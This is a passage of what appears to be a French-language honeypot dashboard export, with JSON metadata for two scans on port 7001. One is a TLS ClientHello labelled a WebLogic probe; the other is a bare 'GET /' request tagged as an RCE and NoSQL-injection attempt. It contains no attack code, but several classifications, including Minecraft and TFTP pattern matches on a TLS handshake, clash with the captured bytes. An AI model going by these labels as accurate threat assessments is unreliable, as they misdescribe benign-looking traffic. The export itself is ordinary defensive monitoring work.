"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003y;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd\u0007\u0011 \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL\u00117Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "67198e42f9510c4e80dbaf4190b18a368d4e9b4e",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003y;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd\u0007\u0011 \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL\u00117Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffdy;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL7Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003y;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd\u0007\u0011 \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL\u00117Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffdy;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL7Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 08:59:13 UTC
TCP
7001 · HTTP
Tentative d'exploit
exploit attempt · via HTTP:7001 · (tentative d'exploit)
Élevée
Moyen · 48
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
Chemin / cible
/
Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62%
Confiance classification
70%
Corrélation +8
Risque capteur
Moyen
· 48
Confiance : Confiance 62 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1190
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 133,
"payload_entropy": 5.098185116660298,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 72,
"risk_classification": 72,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 72,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15
},
"risk_score": 48,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "d73dced9c6611387505bd9126e8c2645dbb9d588",
"event_fingerprint": "4dd96f50766d2b06bfee68a725b495e68f55d96a",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"confidence": 0.7,
"classification_confidence": 0.7,
"precision_score": 73,
"precision_signals": [
"MITRE-T1190"
],
"kb_rule_ids": [
"MITRE-T1190"
],
"confidence_breakdown": {
"waf": 72,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "9feffeafa348573112e2ae52855a7277",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 48
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "92e09225b9a3f799262b103a5a740d619e08f6cd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 48\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 70,
"confidence_breakdown": {
"waf": 72,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1190"
],
"tags_summary_labels_fr": [
"MITRE-T1190"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 96
}
24/07/2026 08:59:13 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��mW>-RG�s2�<�o �U��������O�_ [֩���| "��݃lH!�`&< 2_�복�: >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��mW>-RG�s2�<�o �U��������O�_
[֩���| "��݃lH!�`&< 2_�복�: >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��mW>-RG�s2�<�o �U��������O�_ [֩���| "��݃lH!�`&< 2_�복�: >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9484361286422978,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "b0d06f585dc28902291b553e127a7ff9",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdmW>\u0019-RG\ufffds2\ufffd<\ufffdo\f\ufffdU\ufffd\ufffd\ufffd\u0007\ufffd\ufffd\ufffd\u000f\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\u001e\"\ufffd\ufffd\u0743lH!\ufffd\u0018`&<\u0000\u00052_\ufffd\u0017\ubcf5\ufffd:\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdmW>\u0019-RG\ufffds2\ufffd<\ufffdo\f\ufffdU\ufffd\ufffd\ufffd\u0007\ufffd\ufffd\ufffd\u000f\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\u001e\"\ufffd\ufffd\u0743lH!\ufffd\u0018`&<\u0000\u00052_\ufffd\u0017\ubcf5\ufffd:\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdmW>\u0019-RG\ufffds2\ufffd<\ufffdo\f\ufffdU\ufffd\ufffd\ufffd\u0007\ufffd\ufffd\ufffd\u000f\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\u001e\"\ufffd\ufffd\u0743lH!\ufffd\u0018`&<\u0000\u00052_\ufffd\u0017\ubcf5\ufffd:\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "cc0f7b1d20ae0ae9882b48ee8e78ae2726206d1f",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdmW>\u0019-RG\ufffds2\ufffd<\ufffdo\f\ufffdU\ufffd\ufffd\ufffd\u0007\ufffd\ufffd\ufffd\u000f\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\u001e\"\ufffd\ufffd\u0743lH!\ufffd\u0018`&<\u0000\u00052_\ufffd\u0017\ubcf5\ufffd:\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffdmW>-RG\ufffds2\ufffd<\ufffdo\ufffdU\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\"\ufffd\ufffd\u0743lH!\ufffd`&<2_\ufffd\ubcf5\ufffd:>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
